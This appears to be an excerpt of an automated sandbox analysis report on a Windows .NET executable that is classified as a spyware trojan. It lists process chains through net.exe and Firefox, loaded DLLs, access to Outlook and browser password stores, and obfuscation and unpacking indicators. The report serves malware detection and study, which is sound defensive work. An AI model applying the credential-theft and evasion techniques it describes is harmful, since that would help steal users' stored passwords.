                Source: C:\Windows\SysWOW64\net.exeCode function: String function: 0335B970 appears 280 times
                Source: C:\Windows\SysWOW64\net.exeCode function: String function: 033B7E54 appears 111 times
                Source: C:\Windows\SysWOW64\net.exeCode function: String function: 033DEA12 appears 86 times
                Source: C:\Windows\SysWOW64\net.exeCode function: String function: 033A5130 appears 58 times
                Source: C:\Windows\SysWOW64\net.exeCode function: String function: 033EF290 appears 105 times
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: String function: 014D5130 appears 58 times
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: String function: 0148B970 appears 280 times
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: String function: 0151F290 appears 105 times
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: String function: 0150EA12 appears 86 times
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: String function: 014E7E54 appears 111 times
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1248047716.0000000000C2E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs 6KzB3ReZ6z.exe
                Source: 6KzB3ReZ6z.exe, 00000001.00000002.1254660760.000000000B4D0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs 6KzB3ReZ6z.exe
                Source: 6KzB3ReZ6z.exe, 00000001.00000000.1212693981.0000000000512000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: OriginalFilenameTivY.exe< vs 6KzB3ReZ6z.exe
                Source: 6KzB3ReZ6z.exe, 00000002.00000002.1502053463.0000000000F44000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenet.exej% vs 6KzB3ReZ6z.exe
                Source: 6KzB3ReZ6z.exe, 00000002.00000002.1502053463.0000000000F18000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenet.exej% vs 6KzB3ReZ6z.exe
                Source: 6KzB3ReZ6z.exe, 00000002.00000002.1509972207.000000000158D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs 6KzB3ReZ6z.exe
                Source: 6KzB3ReZ6z.exeBinary or memory string: OriginalFilenameTivY.exe< vs 6KzB3ReZ6z.exe
                Source: 6KzB3ReZ6z.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: 6KzB3ReZ6z.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, zPcC5PHG9smMWw2L6U.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, zPcC5PHG9smMWw2L6U.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, zPcC5PHG9smMWw2L6U.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, TyPY3rDc4MpxA0mTbp.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, TyPY3rDc4MpxA0mTbp.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, TyPY3rDc4MpxA0mTbp.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, TyPY3rDc4MpxA0mTbp.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, zPcC5PHG9smMWw2L6U.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, zPcC5PHG9smMWw2L6U.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, zPcC5PHG9smMWw2L6U.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@4/3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6KzB3ReZ6z.exe.logJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMutant created: NULL
                Source: C:\Windows\SysWOW64\net.exeFile created: C:\Users\user\AppData\Local\Temp\50323G8Jump to behavior
                Source: 6KzB3ReZ6z.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: 6KzB3ReZ6z.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: net.exe, 00000009.00000003.1747871051.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1743049453.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.2464105651.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1742662298.0000000002CD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: 6KzB3ReZ6z.exeVirustotal: Detection: 77%
                Source: 6KzB3ReZ6z.exeReversingLabs: Detection: 71%
                Source: unknownProcess created: C:\Users\user\Desktop\6KzB3ReZ6z.exe "C:\Users\user\Desktop\6KzB3ReZ6z.exe"
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess created: C:\Users\user\Desktop\6KzB3ReZ6z.exe "C:\Users\user\Desktop\6KzB3ReZ6z.exe"
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\SysWOW64\net.exe"
                Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess created: C:\Users\user\Desktop\6KzB3ReZ6z.exe "C:\Users\user\Desktop\6KzB3ReZ6z.exe"Jump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\SysWOW64\net.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: windowscodecs.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: iconcodecservice.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: C:\Windows\SysWOW64\net.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: 6KzB3ReZ6z.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                Source: 6KzB3ReZ6z.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                Source: Binary string: net.pdbUGP source: 6KzB3ReZ6z.exe, 00000002.00000002.1502053463.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, lAXvz0QHVL.exe, 00000008.00000002.2464655080.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdbUGP source: 6KzB3ReZ6z.exe, 00000002.00000002.1509972207.0000000001460000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000002.2466536198.00000000034CE000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000002.2466536198.0000000003330000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000003.1499199014.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1509907946.000000000318A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: 6KzB3ReZ6z.exe, 6KzB3ReZ6z.exe, 00000002.00000002.1509972207.0000000001460000.00000040.00001000.00020000.00000000.sdmp, net.exe, net.exe, 00000009.00000002.2466536198.00000000034CE000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000002.2466536198.0000000003330000.00000040.00001000.00020000.00000000.sdmp, net.exe, 00000009.00000003.1499199014.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1509907946.000000000318A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: net.pdb source: 6KzB3ReZ6z.exe, 00000002.00000002.1502053463.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, lAXvz0QHVL.exe, 00000008.00000002.2464655080.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: lAXvz0QHVL.exe, 00000008.00000000.1420728504.00000000006CF000.00000002.00000001.01000000.0000000C.sdmp, lAXvz0QHVL.exe, 0000000A.00000002.2463624261.00000000006CF000.00000002.00000001.01000000.0000000C.sdmp

                Data Obfuscation

                barindex
                .NET source code contains potential unpacker
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, zPcC5PHG9smMWw2L6U.cs.Net Code: S4RtK9jfwb System.Reflection.Assembly.Load(byte[])
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, zPcC5PHG9smMWw2L6U.cs.Net Code: S4RtK9jfwb System.Reflection.Assembly.Load(byte[])
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_02771704 push dword ptr [edx+ebp*2-75h]; iretd 1_2_0277170F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_027715F7 push dword ptr [ebx+ebp-75h]; iretd 1_2_0277161D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_04E4E958 pushfd ; retf 1_2_04E4E959
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C45E0 push eax; ret 1_2_074C45E1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00401852 push ds; ret 2_2_00401853
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00415016 push ebp; iretd 2_2_00415017
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0041B203 push esp; retf 2_2_0041B241
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004032B0 push eax; ret 2_2_004032B2
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00418B29 push edi; iretd 2_2_00418B2F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0040147B push FFFFFFF2h; ret 2_2_00401494
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0040BC0A push ecx; retf 2_2_0040BC0B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00418517 push edx; ret 2_2_0041852F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00401672 push FFFFFFF2h; ret 2_2_00401679
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00405EE7 pushfd ; iretd 2_2_00405EF1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0040D738 push ss; retf 2_2_0040D745
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004197CE push ebp; retf 2_2_004197E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014909AD push ecx; mov dword ptr [esp], ecx2_2_014909B6
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0146135E push eax; iretd 2_2_01461369
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0333225F pushad ; ret 9_2_033327F9
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033327FA pushad ; ret 9_2_033327F9
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033609AD push ecx; mov dword ptr [esp], ecx9_2_033609B6
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0333283D push eax; iretd 9_2_03332858
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03331344 push eax; iretd 9_2_03331369
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0087651B push ebp; retf 9_2_00876534
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0086E8CC push eax; ret 9_2_0086E8CD
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00868957 push ecx; retf 9_2_00868958
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00872A11 push 00000019h; ret 9_2_00872A13
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00862C34 pushfd ; iretd 9_2_00862C3E
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00880D3A pushfd ; retf 9_2_00880D3B
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00875264 push edx; ret 9_2_0087527C
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00875876 push edi; iretd 9_2_0087587C
                Source: 6KzB3ReZ6z.exeStatic PE information: section name: .text entropy: 7.77020549029283
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, E8Uuw7lXdngbyXsQCm.csHigh entropy of concatenated method names: 'MCC3plSGqJ', 'IXp3wlnReK', 'uCW3aK1s4N', 'xfg6wylARDFr0j5192h', 'jPxRiAlbdgBZ7r9O7H3', 'sUNQtglYqvWxjDa0uka'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, odV2KLca9LFfl8Ky6N.csHigh entropy of concatenated method names: 'Dispose', 'jf7g9asp8j', 'fhbsy8OKMP', 'fR2Db15Rpv', 'xhcgiXttcD', 'F4CgzVc0Rn', 'ProcessDialogKey', 'SxSsf11ukF', 'bwJsgmoDJY', 'JUZssnOcVj'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, lZ2AGZzww21NRfyb8T.csHigh entropy of concatenated method names: 'tGRd5rEC7U', 'TwKdDH7XxR', 'k9wdMSsulg', 'UXNd8nV1iA', 'JMidy89GYC', 'ojDdRHBJwR', 'TvSdlU4oCo', 'gkidBqc6yh', 'tjTdjwNZuc', 'F5bdQtZQXQ'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, sGA8kloAZf98DI5lE7.csHigh entropy of concatenated method names: 'emT0koRQTx', 'sC30ieBc0E', 'Qk0mfinOBA', 'P8tmgXXDUs', 'rFW0WQBx05', 'dpW0LKQwi7', 'qpR02qZEbg', 'DAf0uZvDI2', 'uvZ0rhX4iF', 'dU60GU7sNJ'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, oOcVj1iQHLTy7SCeeW.csHigh entropy of concatenated method names: 'm1nd4yh9VW', 'UuDdE81edp', 'Y88d3WY4A8', 'NT2dSsN4b6', 'bBwdqiHC8S', 'Kn1dHeyPkl', 'Next', 'Next', 'Next', 'NextBytes'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, CT1dmEGkbj33xbE2qY.csHigh entropy of concatenated method names: 'ToString', 'T7iAWkgW3A', 'hmUAydMdKA', 'EbVAOndKHk', 'wiyARrJDNI', 'ffeAlgS2qa', 'MCqAa0XjYV', 'I0cApfYf1a', 'N5FAPlwIQ5', 'kGlAwSpCdc'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, G3qgYG2hejU1CtFBFi.csHigh entropy of concatenated method names: 'RMdbDjbNyX', 'oEqbM4s7EI', 'Q7eb82y3t7', 'W13byjQfEP', 'JJ8bRvfauu', 'YfsblJQmch', 'yHkbp2J9Gr', 'whBbP5DpHa', 'DDNb6jha69', 'vKObWh65vL'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, eLFB1277E2sjB1soMv.csHigh entropy of concatenated method names: 'fQ90JAeYHW', 'tNE0F6fwYc', 'ToString', 'gPW0X8NBWU', 'NgR0ccfQwR', 'D3604fspc6', 'PcI0EICVyA', 'FjM0377tQt', 'AAc0SHEhnq', 'acu0H8dBM1'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, LUnvR6MXgCGvldfYJf.csHigh entropy of concatenated method names: 'na14IH7UQ1', 'yWk45abtfP', 'fyp4DvgX2F', 'zMw4Mw7T1b', 'Xo24nHBahu', 'yDt4Am0cs2', 'qCo40V9IwO', 'teG4mLrbNf', 'y5i4qQIdJd', 'NkL4dfc3nK'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, dINTQ3t848NQN16sGw.csHigh entropy of concatenated method names: 'Sd7gSyPY3r', 'g4MgHpxA0m', 'NXggJCGvld', 'aYJgFfCltj', 'vqignng4kP', 'sZPgAOcHAD', 'RK68DAO8YiSqEEVtJO', 'R4976qClWesAdgGxFs', 'DA6ggLjSI2', 'EHpgYaVeVI'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, EOaqGjwhkRaGMW2iS0.csHigh entropy of concatenated method names: 'e0rSjyem9W', 'ejpSQOajsm', 'pO4SKJwlrX', 'YvqSIBJ8Eu', 'x1LSvbZkER', 'FkVS5x4Y6b', 'hoeSTZcVXF', 'uppSDtPubM', 'n87SMHBH0t', 'JbYSee5PVA'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, gkPqZP8OcHADVdiyGq.csHigh entropy of concatenated method names: 'GJO3COWQGy', 'AiD3cOvtEC', 'kFZ3Eesd6g', 'VLL3SH1Lpf', 'Ynh3HDUpGs', 'GhuE1nQQ7A', 'K0JEoOxI9k', 'amHENrV0Jn', 'sABEkvT9g1', 'ITWE9q4ws7'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, Y1Afposh8u4ICZZBGU.csHigh entropy of concatenated method names: 'U1KKFRWM6', 'siNIa9NXw', 'FnD5BBw1w', 'a5vTXm9sS', 'rLSM9VtT7', 'hRYeEYWnv', 'ftxdLMXFOlCOlXARiW', 'heSj5NP3lNLL9KX2fO', 'hiwmpOXHQ', 'LUbdl8F0h'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, lv5dENggqWsRb4mwEDW.csHigh entropy of concatenated method names: 'NYDdil2yxA', 'NBudzk5ipy', 'D5EUfkD0G8', 'cObUgVM18I', 'FHoUsLEyUL', 'QAqUYHVrxq', 'Sh0UtZVZRG', 'v8wUCLfHKB', 'SBHUXiEjw4', 'zr6Uc9SOsc'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, jw2dS3ujJ9P8c3rIiw.csHigh entropy of concatenated method names: 'cbon6Mf2Aj', 'cgcnLZTqeV', 'hLZnuttkBx', 'zSanrxTJok', 'FBYnyeyb6c', 'TOGnONeKnc', 'qn8nR1Dwlx', 'pGEnlaVPxf', 'aFSnaUCxIH', 'E7Lnp27TKe'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, aJRL0jN8rSf7asp8jj.csHigh entropy of concatenated method names: 'pXZqn2EwtX', 'PkNq0VYuyS', 'c73qq3APRu', 'j76qUnyfOm', 'QOtqhhfaWa', 'L0OqBdbiuP', 'Dispose', 'wCfmXGPJfx', 'bv5mcXoonS', 'Edum41ukDb'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, VZ3mJNgfRs9ClEBDu95.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'NOxdWSvW3w', 'HVbdLJwBvy', 'eoud2WbEDs', 'OTydu8qWos', 'yCKdr9gUsd', 'VBedGIbTaX', 'npgd7INMPu'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, z6WN06pqfu4Yg85T3i.csHigh entropy of concatenated method names: 'i9LSX58ZEv', 'SvZS4AWYkf', 'XFfS3SFh5h', 'ICM3iQpusD', 'SRe3zDyfrt', 'wCqSfmrKey', 'NQbSgUGhX6', 'qRGSsQCWQk', 'OZgSYPnY0Y', 'ppaStCXxKH'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, zPcC5PHG9smMWw2L6U.csHigh entropy of concatenated method names: 'PRpYClwTy4', 'RnsYX2MVyU', 'K9CYcUMVdU', 'JSaY40RXlR', 'uI7YEQgGhG', 'P0TY3iPQVH', 'oRcYSeo6sv', 'oHuYHJMV6P', 'pW8YxSXjrF', 'Wb3YJaSAA9'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, fWLVjYgt1jZFHEmGHER.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HLdVqr5Mj4', 'A0MVdggaYT', 'z4hVU5PLJ9', 'RQ4VVnQqwK', 'tteVh8BV5x', 'gR4VZrljjI', 'S3FVB5mKLT'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, TyPY3rDc4MpxA0mTbp.csHigh entropy of concatenated method names: 'jnXcujoU5L', 'TmDcrTfvls', 'VeIcGaHA4N', 'o1Hc747N5p', 'uvmc1DvBB9', 'kyNcoO0dSj', 'HvocNp21oF', 'FsJckl2aKW', 'DyRc9apOMi', 'jYjciapAiW'
                Source: 1.2.6KzB3ReZ6z.exe.b4d0000.4.raw.unpack, j11ukF9gwJmoDJYlUZ.csHigh entropy of concatenated method names: 'yEXq8JZW0q', 'CD2qy661YS', 'e2aqOfSqZE', 'nBsqR1g5yh', 'VuyqlMZA0B', 'pQYqaVvw2U', 'Q4uqpXpe47', 'ynRqPBjk0t', 'b6QqwEihit', 'Bi8q6IaiaH'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, E8Uuw7lXdngbyXsQCm.csHigh entropy of concatenated method names: 'MCC3plSGqJ', 'IXp3wlnReK', 'uCW3aK1s4N', 'xfg6wylARDFr0j5192h', 'jPxRiAlbdgBZ7r9O7H3', 'sUNQtglYqvWxjDa0uka'
